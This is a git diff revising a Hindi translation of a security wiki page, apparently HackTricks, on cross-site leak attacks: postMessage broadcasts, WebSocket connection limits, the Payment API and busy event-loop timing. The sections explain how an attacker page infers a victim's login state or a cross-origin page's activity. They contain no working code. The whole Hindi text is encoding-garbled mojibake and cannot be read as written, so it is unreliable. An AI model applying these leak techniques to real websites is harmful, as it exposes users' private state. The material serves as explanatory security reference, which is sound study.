рдХрд╣реЗрдВ, рдпрджрд┐ рдПрдХ **`onblur`** рд╕рдВрдХреЗрдд рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рддреЛ ID рддрддреНрд╡ рдореМрдЬреВрдж рд╣реИред\ рдЖрдк **`portal`** рдЯреИрдЧ рдХреЗ рд╕рд╛рде рднреА рд╡рд╣реА рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### postMessage Broadcasts @@ -185,7 +185,7 @@ xs-search/javascript-execution-xs-leak.md - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: API Usage - **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/) -- **Summary**: рдПрдХ postMessage рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП postMessages рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +- **Summary**: postMessage рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП postMessages рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ - **Code Example**: `Any code listening for all postMessages.` рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ `targetOrigin` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдареАрдХ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рд╡рд┐рдВрдбреЛ рдХреЛ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреНрд░рд┐рдпрд╛ рдПрдХ **oracle** рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреА рд╣реИ; рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреБрдЫ рд╕рдВрджреЗрд╢ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд▓реЙрдЧ рдЗрди рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЗрди рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдХреНрдпрд╛ рд╡реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред @@ -200,19 +200,19 @@ xs-search/javascript-execution-xs-leak.md - **Summary**: WebSocket рдХрдиреЗрдХреНрд╢рди рд╕реАрдорд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдХреЗ WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд▓реАрдХ рдХрд░рддрд╛ рд╣реИред - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)]() -рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ **рд▓рдХреНрд╖реНрдп рдкреГрд╖реНрда** рдХрд┐рддрдиреЗ **WebSocket рдХрдиреЗрдХреНрд╢рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ **рд▓рдХреНрд╖реНрдп рдкреГрд╖реНрда** рдХрд┐рддрдиреЗ **WebSocket рдХрдиреЗрдХреНрд╢рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдпрджрд┐ рдПрдХ **origin** **WebSocket** рдХрдиреЗрдХреНрд╢рди рд╡рд╕реНрддреБрдУрдВ рдХреА **рдЕрдзрд┐рдХрддрдо рдорд╛рддреНрд░рд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрдирдХреЗ рдХрдиреЗрдХреНрд╢рди рдХреА рд╕реНрдерд┐рддрд┐ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, **рдирдП рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг JavaScript рдЕрдкрд╡рд╛рджреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛**ред рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдкреЙрдк-рдЕрдк рдпрд╛ iframe рдореЗрдВ рдЦреЛрд▓рддреА рд╣реИ рдФрд░ рдлрд┐рд░, рдЬрдм рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рд▓реЛрдб рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ WebSockets рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИред **рдЙрдкрдпреБрдХреНрдд рдЕрдкрд╡рд╛рджреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** **рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ** рд╡рд┐рдВрдбреЛ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** рд╣реИред +рдпрджрд┐ рдПрдХ **origin** **WebSocket** рдХрдиреЗрдХреНрд╢рди рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА **рдЕрдзрд┐рдХрддрдо рдорд╛рддреНрд░рд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХрдиреЗрдХреНрд╢рди рдХреА рд╕реНрдерд┐рддрд┐ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, **рдирдП рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдкрд░ JavaScript рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рд╣реЛрдВрдЧреЗ**ред рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдкреЙрдк-рдЕрдк рдпрд╛ iframe рдореЗрдВ рдЦреЛрд▓рддреА рд╣реИ рдФрд░ рдлрд┐рд░, рдЬрдм рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рд▓реЛрдб рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ WebSockets рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИред **рдЙрдард╛рдП рдЧрдП рдЕрдкрд╡рд╛рджреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** **рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ** рд╡рд┐рдВрдбреЛ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛** рд╣реИред ### Payment API - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: API Usage - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1) -- **Summary**: рдХреЗрд╡рд▓ рдПрдХ рд╣реА рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред +- **Summary**: рдХреЗрд╡рд▓ рдПрдХ рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) -рдпрд╣ XS-Leak рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХрдм рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ**ред +рдпрд╣ XS-Leak рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХрдм рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ**ред рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ рдПрдХ рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ** рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ, рдпрджрд┐ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ, рддреЛ рдЗрд╕ API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рднреА рдЖрдЧреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ **рд╡рд┐рдлрд▓** рд╣реЛрдВрдЧреЗ, рдФрд░ рдПрдХ **JavaScript рдЕрдкрд╡рд╛рдж** рдХрд╛ рдХрд╛рд░рдг рдмрдиреЗрдВрдЧреЗред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕реЗ **рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рднреБрдЧрддрд╛рди API UI рджрд┐рдЦрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдХреЗ** рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рдкреНрд░рдпрд╛рд╕ рдЕрдкрд╡рд╛рдж рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рддреЛ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдирд┐рдпрдорд┐рдд рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ UI рдмрдирд╛рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдмрдВрдж рдХрд░рдХреЗ рдЫрд┐рдкрд╛ рд╕рдХрддрд╛ рд╣реИред @@ -228,7 +228,7 @@ xs-search/javascript-execution-xs-leak.md xs-search/event-loop-blocking-+-lazy-images.md {{#endref}} -JavaScript рдПрдХ [рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдЗрд╡реЗрдВрдЯ рд▓реВрдк](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) рд╕рдорд╡рд░реНрддреА рдореЙрдбрд▓ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдпрд╣ рдПрдХ рд╕рдордп рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **рдпрд╣ рдорд╛рдк рд╕рдХреЗ рдХрд┐ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рд╕реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ**ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдорд╛рдк рд╕рдХрддрд╛ рд╣реИ, рд▓рдЧрд╛рддрд╛рд░ рдирд┐рд╢реНрдЪрд┐рдд рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╡реЗрдВрдЯ рднреЗрдЬрдХрд░ред рдпреЗ рдЗрд╡реЗрдВрдЯ рддрдм рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдЬрдм рдЗрд╡реЗрдВрдЯ рдкреВрд▓ рдЦрд╛рд▓реА рд╣реЛрдЧрд╛ред рдпрджрд┐ рдЕрдиреНрдп рдореВрд▓ рднреА рдЙрд╕реА рдкреВрд▓ рдореЗрдВ рдЗрд╡реЗрдВрдЯ рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдмрд╛рд╣рд░реА рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рджреЗрд░реА рдХреЛ рджреЗрдЦрдХрд░ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрди рдмрд╛рд╣рд░реА рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ**ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдпрд╣ рд╡рд┐рдзрд┐ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рд╕реЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИред +JavaScript рдПрдХ [рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдЗрд╡реЗрдВрдЯ рд▓реВрдк](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) рд╕рдорд╡рд░реНрддреА рдореЙрдбрд▓ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдпрд╣ рдПрдХ рд╕рдордп рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **рдпрд╣ рдорд╛рдк рд╕рдХреЗ рдХрд┐ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рд╕реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ**ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдорд╛рдк рд╕рдХрддрд╛ рд╣реИ, рд▓рдЧрд╛рддрд╛рд░ рдирд┐рд╢реНрдЪрд┐рдд рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╡реЗрдВрдЯ рднреЗрдЬрдХрд░ред рдпреЗ рдЗрд╡реЗрдВрдЯ рддрдм рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдЬрдм рдЗрд╡реЗрдВрдЯ рдкреВрд▓ рдЦрд╛рд▓реА рд╣реЛрдЧрд╛ред рдпрджрд┐ рдЕрдиреНрдп рдореВрд▓ рднреА рдЙрд╕реА рдкреВрд▓ рдореЗрдВ рдЗрд╡реЗрдВрдЯ рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рджреЗрд░реА рдХреЛ рджреЗрдЦрдХрд░ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрди рдмрд╛рд╣рд░реА рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ**ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдпрд╣ рд╡рд┐рдзрд┐ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рд╕реЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИред > [!WARNING] > рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдореЗрдВ **рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛рд░рдХреЛрдВ** рдХреЛ **рд╣рдЯрд╛рдирд╛** рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ **рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдорд╛рдк** рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд░рдирд╛ред @@ -238,10 +238,10 @@ JavaScript рдПрдХ [рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдЗрд╡реЗрдВрдЯ рд▓реВрдк](ht - **Inclusion Methods**: - **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) -- **Summary:** рдПрдХ рд╡реЗрдм рдСрдкрд░реЗрд╢рди рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рдПрдХ рд╡рд┐рдзрд┐ рдореЗрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ рдПрдХ рдереНрд░реЗрдб рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ **рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдлрд┐рд░ рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ** рдХреЛ рдорд╛рдкрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рдЕрд╡рд░реБрджреНрдз рдСрдкрд░реЗрд╢рди (рдЬреИрд╕реЗ рд▓рдВрдмреА рдЧрдгрдирд╛ рдпрд╛ рд╕рдордХрд╛рд▓рд┐рдХ API рдХреЙрд▓) рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдбрд╛рд▓рдХрд░, рдФрд░ рдмрд╛рдж рдХреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрд╡рд░реБрджреНрдз рдЕрд╡рдзрд┐ рдХреЗ рджреМрд░рд╛рди рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдХреМрди рд╕реЗ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реЗ рдереЗред рдпрд╣ рддрдХрдиреАрдХ JavaScript рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдкреНрд░рдХреГрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ, рдЬрд╣рд╛рдВ рдХрд╛рд░реНрдп рдЕрдиреБрдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рд╕рд╛рдЭрд╛ рдереНрд░реЗрдб рдкрд░ рдЕрдиреНрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдпрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред +- **Summary:** рдПрдХ рд╡реЗрдм рдСрдкрд░реЗрд╢рди рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рдПрдХ рд╡рд┐рдзрд┐ рдореЗрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ рдПрдХ рдереНрд░реЗрдб рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ 